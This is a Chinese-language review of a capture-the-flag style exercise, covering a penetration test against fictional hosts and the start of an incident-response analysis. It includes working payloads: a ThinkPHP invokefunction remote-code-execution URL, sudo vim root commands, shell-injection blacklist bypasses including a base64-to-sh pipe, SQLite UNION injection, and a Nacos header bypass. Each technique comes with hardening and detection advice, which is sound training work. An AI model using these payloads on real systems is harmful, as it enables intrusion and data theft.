2026-10-11 全天两场演练:上午渗透测试(23 个 flag / 4500 分),下午应急响应(66 题 / 10400 分:题目一移动应用服务器 20 题、题目二企业网溯源 36 题、题目三 APT 样本 10 题)。
可谓是精彩至极,上午3min出现23flag全解,一等奖基本都是打了比赛平台拿到的未授权flag接口,而比赛官方规定是不允许攻击比赛平台。这不瞎搞吗。
目标是一家工业物联网公司。对外三台机器直接可达,内网两台只能经边界机中转:
| 主机 | 地址 | 角色 | 开放服务 | 结果 |
|---|---|---|---|---|
| www.hancloud.local | 172.16.10.10 | 官网门户(dmz-web01) | 80 | root,flag1–4 |
| ops.hancloud.local | 172.16.10.11 | 运维平台(dmz-app01) | 22 / 8080 / 8081 / 8848 | root,flag5–8 |
| tool.hancloud.local | 172.16.10.12 | 遗留工具机(dmz-tool01) | 21 / 22 / 80 / 8080 / 8081 | 命令执行 + SQLi,flag17、19、21 |
| file.hancloud.local | 172.16.20.20 | 文件服务器(int-win01,Windows Server 2016) | 445 等 | flag9,flag10–12 未打通 |
| oa.hancloud.local | 172.16.20.21 | 内网数据库机(hc-db01) | 80 / 3306 / 6379 | 零 flag,flag13–16 未打通 |
这张表本身就是第一条经验:ops 上开了 8848(Nacos)和 8081(Tomcat Manager)—— 这类运维/管理组件暴露在业务端口旁边,往往是整条链的起点。看到"业务机 + 一堆中间件端口",先怀疑中间件。
这是上午最有教学价值的一个洞 —— 它不是"某个过滤没写",而是框架把用户输入当成了类名,属于信任边界设计错误。
ThinkPHP 5.0 的兼容模式把 URL 参数 s 当作路由:
?s=portal/\think\app/invokefunction └─[0]─┘ └────[1]────┘ └────[2]────┘ 模块 控制器 操作
链上有三个关键点:
模块名必须真实存在。 框架会检查 is_dir(APP_PATH . $module),不存在就抛 module not exists。ThinkCMF 只有 portal / admin / user / install 四个模块。
控制器名含反斜杠时,被当成完整的命名空间路径,原样保留、不再拼模块前缀:
phpif (false !== strpos($name, '\\')) {
$module = Request::instance()->module();
$class = $name; // ← 用户输入直接成了类名
}
think\App 里有一个不加白名单的万能调用器:
phppublic function invokeFunction($function, $vars = []) {
return call_user_func_array($function, $vars);
}
把 2 和 3 接起来,就等于任意函数调用。vars[0] 给函数名、vars[1] 给参数数组 —— 之所以能用这种下标写法,是因为参数在内部按数字数组按位置绑定。
所以 payload 的形状是固定的:
?s=portal/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=<命令>
把 system 换成 file_get_contents 就是任意文件读。
这四点每次都会有人踩,而且踩错会得出"漏洞不存在"的错误结论。
① 反斜杠必须写成 %5C。 URL 里的裸 \ 会按规范被规范化成 /,于是 portal/\think\app 变成 portal//think/app,反斜杠的语义丢了 → 模块不存在 → 404。payload 的语义依赖字节级精确,中间任何一环改写都能让它失效。
② 第一个路径段必须是真实存在的模块目录。 网上绝大多数 PoC 写的是 ?s=index/\think\app/invokefunction,而 ThinkCMF 没有 index 模块 —— 它会死在模块检查那一步,返回 404。
这是整场最大的判断陷阱。 很多人因为 PoC 里写了
index而认定"目标已修复"。正确的诊断顺序是:看异常信息(module not exists:index明确指向模块名,不是"路由被拦")→ 换成真实模块名(portal)→ 重试。
③ 请求方括号必须关掉通配符解析。 很多 HTTP 客户端会把 vars[0] 里的方括号当通配符处理,请求根本发不出去;如果同时开了静默模式,报错也被吞掉 —— 现象是"响应 0 字节"。
响应 0 字节时,第一嫌疑永远是"我的请求没发出去",而不是"目标防住了"。
④ 全局过滤会限制 payload 的写法。 框架的 default_filter 默认对 GET/POST 全部参数生效,< > & " ' 会被 HTML 实体转义。后果是:
<?php 变成 <?php,落地后不可执行/**/(MySQL 当空白处理),字符串用十六进制字面量对应的通用绕法:空格用 /**/(SQL)或 ${IFS}(shell);引号用 PHP 八进制转义;& 用 %26 或分号。
加固:升级到 5.0.23+ / 5.1.31+;删除或禁用 install 模块(本次它还返回 200);对 s 参数做正则白名单 ^[a-zA-Z0-9_/]+$(一眼拦住 %5C)。不要指望 default_filter —— 它是"过滤"不是"拒绝",而且会破坏正常业务。
检测:URL 中出现 invokefunction / call_user_func_array / %5Cthink%5C;404 的 s= 长参数(PoC 试探)应告警;应用侧的 module not exists 异常正常业务不会产生。
sudo 授权的对象是可执行文件,不是"一个任务"。所以一旦授权了"能执行别的命令"或"能读写任意文件"的程序,等于授权了任意命令。
本题的 www 上:
User www-data may run the following commands on hc-web01: (root) NOPASSWD: /usr/bin/vim
vim 在 GTFOBins 里同时具备两个能力:执行 shell(: 命令模式下的 !)、读写任意文件(: 里另存为)。
这是本节真正的知识点。 在 Web 命令执行、反弹 shell、CI 这类非交互场景里,进程没有分配伪终端(pty)。此时:
:!cmd 交给 shell 执行,shell 的 stdout 并不回到调用者的输出流里命令其实执行了,只是你看不到。 这与"命令失败"是完全不同的两件事。
所以正确的手法不是"想办法看回显",而是让特权 vim 把结果写到你能读的文件:
bash# 读任意 root 文件:用 :w! 另存为可读副本
sudo vim -esn -c ':w! /tmp/f4' -c ':q!' /root/flag4.txt
# 以 root 执行任意命令并落盘
sudo vim -esn -c ':!命令 | tee /tmp/rl' -c ':q!'
选项含义:-e Ex 模式(不初始化全屏)、-s 静默、-n 不写 swap 文件 —— 最后这个最关键,否则 vim 会卡在 "Press ENTER" 上等人按键。
通用结论:任何 TUI 程序在无 tty 环境下都可能行为异常。要么伪造 pty(
script -qc "cmd" /dev/null),要么让它写文件而不是回显。"没有回显"不等于"没有执行" —— 这个判断在后面的应急响应里还会反复用到。
加固:sudoers 里禁止授权编辑器、分页器、解释器(vim/vi/less/more/awk/find/python/perl);需要编辑特权文件就用 sudoedit(复制到临时目录再写回,不给 shell);Defaults use_pty 强制分配 pty;定期全量审计 NOPASSWD 条目。
检测:sudo 日志里出现 sudo vim、sudo less、sudo find 这类调用;/tmp 下出现由 root 创建的可读副本文件。
这是最"便宜"的一类洞,也是最容易被忽略的一类。
robots.txt → Disallow: /backup/ /backup/ → 目录列举开着,里面有整站源码备份 www.tar.gz(14 MB)
判据很简单:robots.txt 里的 Disallow 相当于主动告诉攻击者"这个路径别让搜索引擎看到" —— 而"不想让搜索引擎看到"的东西,往往正是敏感的东西。它是个君子协定,不是访问控制。
拿到源码包之后,价值不在包本身,而在于:它是后续所有攻击的地图。数据库配置文件、框架版本、隐藏路由、硬编码凭据,全在里面。
加固:备份文件不要放在 Web 根下,或放在 Web 根下但加认证;Options -Indexes 关闭目录列举;robots.txt 里不写敏感路径(要么就别放这些目录)。
检测:对 Web 根下的 .zip/.tar.gz/.sql/.bak 做访问告警;监控 /backup/、/bak/、/old/ 这类目录的访问。
题目问的是"在运维平台的运行内存中获取"。这句话直接指向 Spring Boot 的 Actuator 端点 —— Spring Boot 1.x 默认暴露全部端点,2.x 虽然默认只开 health/info,但大量项目为了"方便排查"配成了 include=*。
关键是 /actuator/heapdump:它导出整个 JVM 堆快照。
为什么内存里一定有敏感数据:Java 的字符串常量、配置项、数据库连接串、JWT、口令,在堆里必须以明文形式驻留 —— 程序要用它,就不可能保持加密状态。它不像磁盘文件那样能加密保存。
拿到 26 MB 的堆文件后,用 grep -a(-a = 把二进制当文本)直接搜 flag 格式即可。专业的做法是 Eclipse MAT / JVisualVM。
实战顺序应该是先看这几个,再考虑啃堆:
| 端点 | 内容 |
|---|---|
/actuator/env | 全部配置属性(含 systemProperties)—— 常常直接就有口令 |
/actuator/configprops | 绑定到配置类的对象 —— 数据源口令常在这里 |
/actuator/mappings | 全部路由 —— 等于攻击面地图 |
/actuator/beans | 全部 Bean —— 能看出用了什么框架 |
/actuator/threaddump | 线程栈 —— 可能含 SQL 与参数 |
加固:management.endpoints.web.exposure.include=health,info(白名单,不要用 *);heapdump 显式关闭;Actuator 换到独立端口并只绑内网;前置认证。
检测:对 /actuator/* 的访问告警(尤其 heapdump、env、configprops);这类路径正常用户不会访问。
Nacos 1.4.0 的 AuthFilter 里有一段"服务端之间互相信任"的逻辑:
javaif ("Nacos-Server".equals(request.getHeader("User-Agent"))) {
return chain.doFilter(request, response); // 直接放行,不校验身份
}
设计初衷是让集群内部节点互调时免认证,但它只用一个客户端完全可控的 HTTP 头来判定身份。加上 User-Agent: Nacos-Server 就成了"内部服务"。(CVE-2021-29441,1.4.1 起改用服务端共享密钥。)
Nacos 存的是整个微服务集群的配置,而配置里必然有数据库口令、Redis 口令、第三方 Key、加密盐值。本题的配置文件里就直接写着 Tomcat 管理器的账号口令。
这是横向移动里性价比最高的一步:从"一个未授权读"到"RCE",中间只隔了一次配置泄露。所以看到配置中心暴露,优先级应该排在扫目录之前。
加固:升级到 1.4.1+;nacos.core.auth.enabled=true 且改掉默认口令(默认 nacos/nacos 配合未授权的"添加用户"接口是另一条经典链);Nacos 只监听内网。
检测:User-Agent: Nacos-Server 出现在来自外部的请求里;对 /nacos/v1/cs/configs 的异常大批量读取告警。
Tomcat 自带的管理器允许上传 WAR 包并热部署 —— 这是设计功能,不是漏洞。一旦口令泄露,等于直接拿到 shell。
Tomcat 的管理角色是分开的:
| 角色 | 权限 |
|---|---|
manager-gui | 访问 HTML 界面,但上传要带 CSRF token,脚本直接 POST 会 403 |
manager-script | 使用 text 接口(/manager/text/*),为脚本/自动化设计,无需 CSRF token |
所以脚本化部署要用 /manager/text/deploy,而不是去模仿浏览器的 HTML 表单。
教学点:遇到 403 别急着换工具,先想是不是角色/协议用错了。Tomcat manager 的 403 十有八九是"gui 角色 + 缺 CSRF token"。
① 为什么必须显式调用 shell。 Runtime.exec(String) 内部按空格切分,不经过 shell —— 管道、重定向、;、引号全部无效。要执行"带 shell 语义"的命令必须写 new String[]{"/bin/sh","-c",cmd}。
② 为什么 JSP 里不能出现反斜杠。 想表达"读到流结尾"常写 useDelimiter("\\A"),但这段代码要经过编辑器 → 传输 → 落盘 → Jasper 编译多层转义,任何一层处理不当就会变成 "\A",而 \A 不是合法 Java 转义序列 → 整个 JSP 编译失败(500)。改用 BufferedReader.readLine() 循环即可,零反斜杠。
③ 为什么通用 webshell 会"不回显"。 三个常见原因:只读 getInputStream() 而没读 getErrorStream()(命令报错时一片空白)、异常被 catch 后静默吞掉、输出没 flush。"不回显"不是"没执行" —— 拿不到输出就让它写文件。
加固:生产环境删除 webapps/manager 与对应 conf/Catalina/localhost/manager.xml;必须用时只留 manager-script 并绑 127.0.0.1;Tomcat 低权限运行,webapps 目录对运行用户只读。
检测:/manager/* 的访问(尤其 deploy);Web 目录新增 .war/.jsp 的实时告警。
本题作者刻意摘掉了 sudo 和 pkexec 的 setuid 位,内核也老 —— 常规提权路全堵。逼你换一个视角:
不看"哪些文件有特殊权限位",而看 "哪些文件我能改,而 root 会执行它"。
这是权限配置错误导致的提权,和 SUID 是同一思路的两面:
| 思路 | 找什么 | 方法 |
|---|---|---|
| 我能以高权限执行什么 | SUID / SGID | find / -perm -4000 -type f |
| 我能改什么、高权限会执行它 | 世界可写文件 + cron/systemd | find / -perm -o+w -type f |
| 我能影响什么环境 | PATH / LD_PRELOAD / 相对路径 | 读服务与脚本 |
本题的答案是 /opt/tomcat/bin/logbackup.sh —— 全系统唯一一个 o+w 文件,脚本注释还自己写着"每分钟由 root 的 crontab 调起"。
① payload 必须插在 exit 0 之前。 脚本以 exit 0 结尾,追加到文件末尾永远不会被执行 —— 要用 sed 的插入(/^exit 0/i)而不是追加。
② 它不在你能想到的地方。 这个脚本在 root 自己的 crontab 里,/etc/crontab 和 /etc/cron.d/ 都查不到 —— 要看 crontab -l -u root 或 /var/spool/cron/crontabs/。
getcap -r / 无可利用能力(没有 cap_setuid)—— capabilities 是替代 SUID 的现代机制,值得单独排查docker run -v /:/host 直接拿 root)drwxr-x--- opsapp,当前用户进不去/etc/sudoers.d 只有 README加固:文件权限基线监控(AIDE / tripwire / auditd);root 的 cron 脚本必须 root:root 644;定期清点 SUID/SGID 与世界可写文件。
检测:auditd 规则监控 /etc/crontab 与 cron 目录的写入、监控 chmod 带 setuid 位的操作;SUID 文件的完整性校验。
数据库口令直接从源码里的配置文件读到,接着借命令执行查库 —— 注意数据库只监听 localhost,外部连不上,所以"能不能查库"取决于你手上有没有这台机器的命令执行。
业务表里有一条"数据库口令轮换后监控未同步,已回滚"的版本说明,flag3 就藏在这条说明的文本里。
更有价值的是配置里的 authcode:ThinkCMF 用它签名 session / cookie。后台登录要过验证码,但有了 authcode 就可以自己签一个管理员 cookie,直接绕过验证码进后台。
教学点:业务数据表里的备注字段是常被忽略的藏宝地(版本说明、变更记录、内部留档)。审计数据库时别只盯着用户表。
加固:配置文件不进 Web 目录、权限收紧;口令不写明文;authcode 这类签名密钥要能轮换。
匿名 SMB 可读共享目录 → 里面有个加密压缩包 → 用字典爆出压缩包口令 → 解出 flag9,外加一份文件里写着门户的账号口令。
① 匿名 SMB(NULL session):Windows 允许在无凭据时以匿名身份访问配置为"Everyone"的共享。这类配置在"文件服务器"角色上特别常见 —— 为了"方便同事取文件"。
② 压缩包口令爆破:ZipCrypto(传统加密)和 AES-256 是两套完全不同的算法,对应不同的爆破模式(hashcat 的 -m 17200 / -m 13600)。先确定加密类型再选工具,猜错了会白跑。
③ 共享里的文件比共享本身更值钱:本题的收获不止 flag,还有一个写着门户凭据的文本文件 —— 一次泄露带来下一次登录。
加固:关闭匿名共享;共享权限按最小权限授予;敏感压缩包不放在共享目录;口令策略覆盖"文件加密口令"。
检测:SMB 匿名登录(事件 4624 的匿名会话);大量压缩包口令尝试;共享目录里的敏感文件访问。
这是上午唯一"马进去了但没打通"的地方,卡点很有教学意义。
catchimage 功能可以让服务器去远程抓取一个文件并落盘Content-Type,不看内容Path.GetFileName(源 URL) → 扩展名由源 URL 决定于是:在自己控制的机器上放一个伪装成图片的马,配置让响应头写成 image/gif,再让 UEditor 去抓 —— 它就原样落地成一个可执行脚本。
马确实落地了,也确实被 ASP.NET 执行了(响应 200,响应头有 X-AspNet-Version: 4.0.30319),但响应体长度是 0。
怀疑方向(当时的排查记录):
cmd.exe —— Windows 上很多应用池会限制子进程,所以"起进程执行命令"的马必然是空输出web.config 可能限制了输出正确的下一步应该是:换成纯 .NET IO 的马(直接用 File.ReadAllText 读文件,完全不起进程),而不是继续在"起 cmd 进程"这条路上折腾。
这条经验值得单独记:在 IIS 上拿 Web 马,优先写不依赖子进程的版本。因为"能执行脚本"和"能起进程"是两回事,后者常被应用池配置挡住。同理,判断马有没有效,不能只看 HTTP 状态码 —— 要看响应体,或者让马产生一个带外可见的副作用(写一个可读文件、发一个 DNS 请求)。
系统补丁已打齐(MS17-010 无效);WinRM 上账号无权限;C$/ADMIN$ 不可用(该账号不是管理员);WebDAV 返回 405;IIS 目录爆破零命中。
加固:删除或替换 UEditor(它历史上漏洞极多);上传接口必须做扩展名白名单 + 内容嗅探,且不能信任源 URL 的扩展名;上传目录禁止脚本执行;应用池以最小权限运行并保留"禁止 cmd.exe"这类约束。
检测:catchimage 这类"服务端抓取"接口的出站请求监控(它等于一个受限 SSRF);上传目录新增可执行文件的告警。
tool 的 8081 上有个"现场运维工具",其中 ping 功能把用户输入拼接进 shell 命令:
phpsystem("ping -c 4 " . $_GET['host']);
输入 ;id 被拦,报错信息把黑名单完整列了出来:
目标地址包含非法字符(不允许 ; & ( ) $ ` | > < ')
这份黑名单本身就是情报:它精确列出了开发者想到的元字符 —— 而它漏了换行符。在 shell 里换行等价于命令分隔符,所以 host=127.0.0.1%0a<命令> 直接就通了。
黑名单绕过的通用清单(按优先级):
| 手法 | 载荷 | 说明 |
|---|---|---|
| 换行 | %0a | 最常被漏掉,等价于 ; |
| 回车 / Tab | %0d / %09 | 同上 |
${IFS} | cat${IFS}/etc/passwd | 绕空格过滤 |
| 引号拼接 | cat /etc/pass'w'd | 绕关键词过滤 |
| 变量拼接 | a=cat;b=/etc/passwd;$a $b | 绕命令名黑名单 |
| 通配符 | /???/c?t /etc/pass?d | 绕路径过滤 |
| 编码 | echo <base64> | base64 -d | sh | 绕过所有字符过滤 |
教学点:黑名单永远是错的。 只要 shell 支持某种分隔/替换机制而黑名单没列全,就绕过了。而且黑名单的报错信息往往泄露完整的过滤规则,等于把绕过方向告诉攻击者。白名单才是对的写法 —— 输入是 ping 目标,就该按 IP 格式校验。
加固:不拼接(用参数数组调用、或用 escapeshellarg);输入用白名单(按 IP 校验);服务降权运行。
检测:参数里出现 %0a/%0d/${IFS}/反引号等异常字符;异常参数导致的命令执行(EDR 侧看 Web 进程拉起的子进程)。
tool 的 80 端口是个"设备台账"PHP 站。它的首页就是一份说明书,直接列出了功能入口:工单查询、调度台、设备状态、管理后台。
工单查询页的源码里,开发者自己写了注释承认没做参数化:
php// 按工单号查询(调度台与工程师共用,未做参数化)
$sql = "SELECT t.id, t.title, t.content, t.created_at, u.user_name
FROM tickets t JOIN users u ON u.id = t.uid
WHERE t.id = $id";
$id 既没加引号也没过滤 → 数字型注入。
① 列数必须对齐。 原查询是 5 列,所以 payload 是 UNION SELECT 1,<数据>,3,4,5 —— 中间那些数字只是占位,为了让列数匹配。列数不对会直接报错,这也是探测列数的经典手段。
② SQLite 的"information_schema"叫 sqlite_master。 一条查询就能拿到全部表名和建表语句:
sqlSELECT name, sql FROM sqlite_master WHERE type='table'
比 MySQL 场景省事得多(不用逐库逐表枚举)。
③ 权限边界决定攻击路径。 库文件 /var/lib/hcweb80/hcweb.db 属 www-data,而通过命令注入拿到的是另一个低权用户 —— 读不到库文件,所以只能走 Web 注入(Web 进程有权限读它自己的库)。
这是很典型的一课:能不能打某个洞,取决于你以什么身份打。拿到一个低权 shell 不等于拿到了这台机器上的所有数据。
拿到表结构后,flag 在 config 表里(键值表,键名就是 flag17):
sqlUNION SELECT 1, v, 3, 4, 5 FROM config WHERE k='flag17'
同一张表里还有备份路径、上次迁移版本等运维信息。
attachment.php 读的是 HCWEB_ATTACH . '/' . $tid . '.txt',即 /var/lib/hcweb80/attachments/<工单号>.txt。题目说"附件中"就要去文件系统找。加固:PDO 预处理(根治);对 id 这类参数强制类型转换(辅助);关闭生产环境的报错回显;数据库文件权限收紧,Web 用户只读。
检测:WAF 规则匹配 UNION + SELECT、sqlite_master、group_concat;数据库报错信息不应回显给前端。
tool 的 /api/status.php 直接请求返回:
json{"error":"unauthorized","message":"缺少或错误的 X-Api-Token"}
需要 X-Api-Token 请求头。这里有两条路:爆破,或者想清楚谁会持有这个凭据。
这次选了后者,而理由是推出来的、不是猜的:
这个接口是给"设备台账大屏"用的 → 大屏是浏览器里的前端代码 → 前端要发请求就必须持有 token → token 必然存在于前端能拿到的资源里。
而首页已经暴露了 <script src="/static/monitor.js"> —— 名字本身就说明它是监控轮询组件。读它,token 就在里面,注释还写着"token 后续挪到服务端配置,先按值班手册里的固定值写死,结果一直没挪"。
拿到 token 后请求接口,flag 在接口响应体里(三条设备记录,前两条是干扰项)。
两条可迁移的经验: ① 遇到"要凭据"的接口,先问谁持有它,别急着爆破。 硬编码在前端 JS 里的 token / key / AK/SK 是极常见的开发陋习,每碰到一个站点都值得把 JS 拉下来翻一遍。 ② 题目的措辞通常就是答案的位置:"响应中"→读返回体;"附件中"→找文件路径;"公告中"→读后台;"共享目录"→FTP/SMB/NFS;"数据库中"→查库或调数据接口。读题时把定语圈出来。
题目说"文件服务的共享目录" —— 这是个抽象说法,先要落成具体协议:
| 协议 | 端口 | 特点 |
|---|---|---|
| SMB/CIFS | 445、139 | 需凭据,或配了匿名共享 |
| FTP | 21 | 可能允许匿名登录,目录列举是原生功能 |
| NFS | 2049 | Linux 之间共享,通常靠 IP 白名单 |
端口扫描结果里没有 445、也没有 139 —— SMB 这条路直接排除,攻击面一下就收敛到 FTP 上。匿名登录一试就通(anonymous 账号),目录里两个文件。
读哪个? 一个叫 README.txt,一个叫 handover.txt。"handover"(交接)是有语境的词,README 是模板化的通用词 —— 靶机(以及真实事件里的交接文档)往往把关键信息放在语境化命名的文件里。flag 就在 handover.txt 的"交接校验码"里。
可迁移的经验:
handover/onboarding/credentials/notes/todo/migration/legacy/deprecated/internal这类文件名,命中率远高于随机名字。读目录列表时留意名字。
加固:Token / 密钥一律服务端下发或从服务端配置读取,绝不硬编码进前端;服务端按调用方身份签发短期令牌;关闭 FTP 匿名登录(anonymous_enable=NO)。
检测:前端资源里的凭据扫描(CI 阶段就该做);FTP 匿名登录告警;同一 Token 从多个来源 IP 使用。
这一段是失败复盘,信息量比成功案例大。
PONG)fm_usr/fm_pwd + CSRF token;token 已能正确提取,但试过的口令都是 302 且无 logout)① 跳板/隧道选错了。 正确的做法是:先在一台边界机上拿到 root,再用 SSH 端口转发做隧道,而不是试图在低权 shell 里做中继。边界机(www / ops)有内网口,是天然的跳板 —— 本题在"想办法让低权进程转发流量"上耗了太多时间。
② 工具用法没确认就用它下结论。 判断端口开闭时用了 nc -z,而目标机上装的是传统 netcat,不支持 -z —— 那一批"端口关闭"的结论全是无效的(nc 报的是参数错误,不是连接失败)。
教训:用某个工具下结论之前,先确认这个工具在当前环境里用法有效(
which+ 看帮助)。更稳的做法是用不依赖外部工具的方式探测端口(bash 的/dev/tcp)。
③ Redis 只拿到了"能连",没走完利用链。 Redis 未授权的利用是多条路:写 SSH 公钥、写 cron、写 webshell、主从复制加载模块、CONFIG SET dir/dbfilename 任意路径写文件。"能连上"只是第一步,真正的价值在于"能写文件" → "能执行"。本题停在了第一步。
④ 拿到入口不等于拿到权限。 MySQL 和 Tiny File Manager 都在等口令 —— 而口令应该去已经拿到的源码/配置里找(www 的源码包、门户配置文件),而不是硬猜。
加固:Redis 设 requirepass + bind 127.0.0.1 + rename-command 禁用危险命令;MySQL 强口令且只绑内网;Tiny File Manager 这类单文件工具不要暴露在 80 端口。
检测:CONFIG SET 调用审计;Redis 出现 SLAVEOF/MODULE LOAD 告警;内网 6379/3306 的非应用来源连接。
① 决策错误:在没有稳定隧道的情况下深入内网。 正确顺序是"先固化一台边界机的 root,再架隧道,再进内网",而不是边走边试。
② 把"工具用不了"当成"目标不给"。 端口探测用了不支持该参数的 nc,得出的"端口关闭"结论全是假的;命令执行"没回显"也一度被当成"马没生效"。
③ PoC 跑不通就判"漏洞不存在"。 ThinkCMF 那条链因为 PoC 里写了不存在的模块名而返回 404,被误判成"目标已修复"——实际是 payload 的问题。异常信息里已经写清了原因(模块不存在),读它比自己推断快。
④ 时间分配。 边界机(www/ops/tool)贡献了绝大多数 flag,内网两台投入产出比极低。在分数有限的演练里,"把边界机吃干净"通常比"啃内网"划算。
下午场是防守方视角,共三个场景、66 题:
| 场景 | 目标 | 题量 | 得分 | 本文位置 |
|---|---|---|---|---|
| 题目一 移动应用服务器应急响应溯源 | 单机 tianjin26app(CentOS 7 + Tomcat) | 20 | 2100 / 2650 | 题目一 |
| 题目二 企业网应急溯源 | 域环境 corp.local 多机 | 36 | 5500 / 5500 | 题目二 |
| 题目三 APT 恶意样本深度分析 | EVIDENCE 10.0.20.50 | 10 | 1800 / 2250 | 题目三 |
| 合计 | 66 | 9400 / 10400 |
未提交 7 题 / 1000 分:题目一 5 题 550 分、题目三 2 题 450 分。
三个场景的方法差异(这是分场景看的价值):
| 场景 | 主战场 | 核心证据 | 主要难点 |
|---|---|---|---|
| 题目一 | 单机 + 应用层 | 流量包 + APK + 应用配置 | 逆向自定义算法、解加密流量 |
| 题目二 | 多机 + 域环境 | 攻击者遗留脚本 + Windows 事件日志 | 跨主机行为关联、口径歧义 |
| 题目三 | 样本静态分析 | 一个文档样本 | 宏解包、WMI 持久化结构 |
一台被入侵的生产服务器 tianjin26app(CentOS 7,Tomcat 监听 9999,对外 IP 202.0.1.32),配套一个移动端 APK。要求还原入侵过程并回答 20 个问题。
证据材料:
| 证据 | 内容 |
|---|---|
| 流量包 | 约 116 MB 全量抓包(含攻击全过程) |
| APK | 移动端安装包(含客户端逻辑) |
| 应用日志 | Tomcat 访问日志、应用自身日志 |
| 系统日志 | /var/log/secure(认证事件) |
| 主机文件系统 | /etc/crontab、/etc/shadow、SSH 组件、Web 目录 |
① 逆向 APK,得到登录口令(客户端做了"加密"的本地校验) ② 用口令调 /api/login 登录,服务端下发带权限位的 JWT ③ 上传接口只校验 Content-Type → 传上伪装成 image/jpeg 的 .jsp ④ 冰蝎(Behinder)连上 webshell 执行命令(第一条:cat /etc/passwd) ⑤ 反弹 shell 出去(端口 4444) ⑥ 写 /etc/crontab 后门,每分钟回连 C2(202.0.1.130:8080) ⑦ 在图形终端上改 root 口令 ⑧ 以 root 身份 SSH 登录,并在 SSH 组件里植入"记录口令"的后门
这条链的每一步都对应一道题,所以先建立全景再看细节,比按题号顺序逐条查快得多。
| 题 | 题目 | 答案 | 详解 |
|---|---|---|---|
| Q1 | 攻击此服务器所使用的 2 个 IP | 202.0.1.1、202.0.1.130 | 1.4 |
| Q2 | APK 登录成功时的密码 | zheshiyigefeichanghaodemimaI | 1.5 |
| Q3 | APK 中有上传权限的秘钥 | LBa2b3c345 | 1.6 |
| Q4 | 漏洞接口的 API 地址 | http://202.0.1.32:9999/api/upload | 1.6 |
| Q5 | 尝试上传但无权限的文件名 | 1.png | 1.7 |
| Q6 | 上传的 webshell 原始文件名 | 1.jsp | 1.7 |
| Q7 | webshell 的密码 | Libai | 1.8 |
| Q8 | 通过 webshell 执行的第一条命令 | cat /etc/passwd | 1.9 |
| Q9 | 第一次反弹 shell 的端口 | 4444 | 1.10 |
| Q10 | webshell 查询的当前 shell 权限 | 未解(线索:在 BasicInfo 的响应里) | 1.13 |
| Q11 | 爆破路径的次数 | 未解(卡在口径歧义) | 1.13 |
| Q12 | 从服务器下载的文件的文件名 | importantfile.file | 1.11 |
| Q13 | 该文件解密后的内容 | 一个 flag | 1.11 |
| Q14 | 通过什么文件修改的 root 密码 | 未解 | 1.13 |
| Q15 | 黑客设置的 root 密码 | 未解(哈希撞出的那个是原有口令) | 1.13 |
| Q16 | 后门反连的 ip 和 port | 202.0.1.130:8080 | 1.10 |
| Q17 | 利用后门反连后执行的第一条命令 | rpm -qa | grep pam | 1.10 |
| Q18 | 被加 suid 权限的文件 | 未解(全盘枚举无异常) | 1.13 |
| Q19 | 后门密码 | haomima | 1.12 |
| Q20 | 后门把口令记录在哪个文件 | /tmp/....(4 个 ASCII 点) | 1.12 |
流量分析的第一步不是看内容,而是建立通信关系图:把"以受害机为目的地址"的流量按来源 IP 聚合计数。
结果天然分成两类:
| 来源 IP | 行为 | 角色 |
|---|---|---|
202.0.1.1 | 大量请求打 9999(Web 应用),另有 22 端口连接 | 打进来的人 |
202.0.1.130 | 受害机主动连接过去 | 被连出去的 C2 |
全量包里噪声很多(同网段的协议广播、扫描、应用自身的遥测流量等)。判据不是"包多不多",而是"是否与受害机存在业务或会话关联" —— 一个 IP 只要和受害机没有真实的会话,无论包多少都该排除。
反编译 APK(jadx / apktool)后,登录页的代码里有这么一段:
javaif (CipherUtil.encrypt(输入框.getText().toString(), 2)
.equals("<一段 28 字符的密文>")) {
// 本地校验通过,才发登录请求
}
两个致命问题:
CipherUtil.encrypt(str, n) 分三步:
n 组切块(n=2 时即前后两半)out[j] = in[j] ^ j异或下标是自反运算(X ^ j ^ j = X),所以解密等于加密 —— 同一个函数跑两遍就还原。
逆推路径:密文 → 反异或(每字符异或它的下标)→ 反交织(按 2 组还原)→ 明文。
验证信号:解出来的明文是一串拼音"这是一个非常好的密码" —— 语义自洽就是最好的验证,比任何工具提示都可靠。
初读反编译结果时,那行异或容易被看成"乘以索引"(^ 与 * 在某些视图里难区分)。但用作密文验算立刻就能证伪:密文长度 28,若按 3 组分组则 28/3 不是整数,逻辑不成立。
正确做法是回到字节码:反汇编取原始指令,看到操作码 0x5E —— 那就是 ^(异或)运算符本身(0x2A 才是 *)。
教学点:反编译视图只是参考,字节码才是真相。遇到逻辑不自洽、或涉及运算符歧义时,一定回到指令层确认。
| 问题 | 说明 |
|---|---|
| 密钥就是位置 | 异或的量是下标 j,攻击者不需要任何密钥 |
| 算法即密钥 | 客户端代码里同时有算法和密文,素材齐备 |
| 自反性 | 加密解密同一个函数,逆向成本为零 |
| 无随机性 | 相同明文永远产生相同密文,可预计算 |
根本问题:客户端是攻击者的地盘。 放在客户端里的任何"密钥"都不是密钥。硬编码在 APP 里的"加密校验"只是混淆,不是安全机制。
加固:口令只在服务端校验并对登录接口限速;必须本地校验时用不可逆派生算法(PBKDF2/Argon2),且不泄露"正确密文";密钥用 Android Keystore(硬件级)。
检测:APK 里的硬编码凭据扫描(CI 阶段就该做);同一来源的大量登录尝试。
| 位置 | 内容 |
|---|---|
| APK 代码 | 硬编码的服务端 base 地址与上传接口路径 |
| 流量包 | 上传请求带一个请求头,值是 JWT |
| 服务端配置 | access-flag-key(签发密钥)、normal-permission: 0、manager-permission: 1、expired-seconds: 300 |
JWT 的结构是 base64url(头).base64url(载荷).签名 —— 载荷是明文可读的,解出来是 {"root":"0", ...}。
所以 Q4 的 API 地址就是 APK 里硬编码的上传接口(http://202.0.1.32:9999/api/upload),Q3 的秘钥就是服务端配置里的签名密钥 LBa2b3c345。
缺陷一:权限位放在了客户端可读的载荷里。 JWT 只保证完整性(改动会被签名发现),不保证机密性(载荷只是 base64)。把 root 权限位放进去,等于把权限模型告诉攻击者,并指明了篡改方向。
缺陷二:签名密钥太弱。 10 个字符的字母数字组合属于可以离线爆破的强度。JWT 的 HMAC 签名可以直接用 hashcat 跑(JWT / HS256 对应 -m 16500)。
密钥一旦泄露或被爆破,攻击者就能自己签发 {"root":"1"} 的合法 token —— 权限校验彻底失效。
加固:权限必须从服务端会话/数据库取,不信任 token 载荷里的声明;签名密钥用强随机值并定期轮换;exp 保持短(本题 300 秒是合理的,问题在别处)。
检测:同一密钥签发的 token 权限位突然变化;JWT 载荷里出现权限类字段(设计层面就该避免)。
1.png1.jsp两个答案都在 HTTP 请求体的 multipart 头里:
